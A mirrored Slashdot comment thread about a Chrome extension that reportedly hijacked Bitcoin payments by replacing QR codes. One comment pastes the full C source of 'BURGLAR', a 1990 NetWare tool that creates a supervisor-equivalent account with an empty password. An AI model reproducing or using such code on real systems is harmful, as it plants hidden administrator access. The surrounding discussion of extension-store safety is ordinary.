Slashdot Mirror
Google Chrome Extension Caught Stealing Bitcoin From Users (softpedia.com)
An anonymous reader writes: Bitcoin exchange portal Bitstamp is warning users of a Google Chrome extension that steals their Bitcoin when making a transfer. According to Bitstamp, this extension contains malicious code that is redirecting payments to its own Bitcoin address. Bitcoin web app developer Devon Weller confirmed Bitstamp's findings, saying that the extension was secretly replacing Bitcoin QR codes with its own. The extension's name is BitcoinWisdom Ads Remover and is still available on the Google Chrome Web Store. In July 2015, many users reported having similar issues with the same extension.
don't trust them.
Anons need not reply. Questions end with a question mark.
submitted 8 months ago to the subreddit...hardly cutting edge news.
As above.
Apparently it also stole part of the summary.
/* BURGLAR - To recover the supervisor account of netware 386
(c) 1990 Cyco Automation, created by Bart Mellink.
(My first NLM)
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
main( int argc, char *argv[] ) {
long task;
char *name;
printf("BURGLAR - Create supervisor equivalent user account\n" );
printf(" (c) Cyco Automation (bm) 1990\n");
task=SetCurrentTask(-1L); /* set connection 0 -> superuser */ /* No abort on ctrl-c */
SetCurrentConnection(0);
SetCtrlCharCheckMode(0);
name=argv[1];
if (argc>1) { /* First create an user object in the bindery */ /* User object must have an equivalent property */ /* Add supervisor equivalent to equivalence property */ /* Create password property and make empty string */ /* On error check if we had allready empty password */
if (CreateBinderyObject(name,OT_USER,BF_STATIC,0x31)==0)
printf("New user %s created\n",name);
else
printf("User %s allready exists\n",name);
CreateProperty(name,OT_USER,"SECURITY_EQUALS",BF_STATIC|BF_SET,0x32);
if (AddBinderyObjectToSet(name,OT_USER,"SECURITY_EQUALS","SUPERVISOR",OT_USER)==0)
printf("User made supervisor equivalent\n");
else
printf("User was allready supervisor equivalent\n");
if (ChangeBinderyObjectPassword(name,OT_USER,"","")==0)
printf("Password removed from user\n");
else {
if (VerifyBinderyObjectPassword(name,OT_USER,"")==0)
printf("Password was allready removed from user\n");
else
printf("Could not remove password from user\n");
}
}
else {
printf(" Error: Username missing from commandline\n");
}
ReturnBlockOfTasks(&task,1L);
ReturnConnection( GetCurrentConnection() );
return 0;
}
Somebody ought to mod the parent up. It shouldn't be at -1. It's better than the other comments here. It's totally correct to point out that security is only possible when people act responsibly. No software provider should have to babysit the users of its products. This isn't a case of the extension being installed in people's browsers unawares. If it's installed, it's because somebody went out of their way to install it. So they should be prepared to deal with the consequences of their actions. Even removing plugins deemed "malicious" by some people is probably something that the operators of mobile application stores shouldn't be doing. What's "malicious" to one user could be exactly what another user wants to have happen. For example some people would consider Firefox for Android to be a form of malware, given how it can use an excessive amount of device resources. Yet others wouldn't consider it "malicious" in any way, and in fact consider it their favorite mobile web browser. "Maliciousness" is in the eye of the beholder, and so when it comes to installing potentially-"malicious" software it is up to the user doing the installation to know what they're doing and to be prepared to deal with the consequences if they go ahead and make a bad decision.
Ha Ha!
p.s. "And nothing of value was lost." -Slashdotters everywhere /Thread
It was just a bug, the bitcoin address accidentally got replaced by the donation address.
Adblock Plus also blocks all the advertisements on bitcoinwisdom, so why would anyone bother with this extension ?
This extension does something completely different than what it claims to do, and makes no mention of this extra "feature". That should be enough to have it taken down. Google has made it essentially impossible to install extensions from outside their "store". If Google makes no representations about the quality or safety of the extensions in the store, then why not let sites host the extensions themselves?
There's practically no information in the store to base a decision on other than the name of the author and a description. If extensions were hosted on their own sites you could at least know what organization created the extension by verifying the HTTPS cert of the site. With the store model you're trusting Google to verify the information in the store.
The right to protest the State is more sacred than the State.
Instead of being evil, why don't these talented hackers turn their powers to something for the good of humanity, like maybe a Chrome Extension that would blot out the words "Kim Kardashian" on any web page. Of course, if they're looking for a vector for their dirty deeds, that would be huge.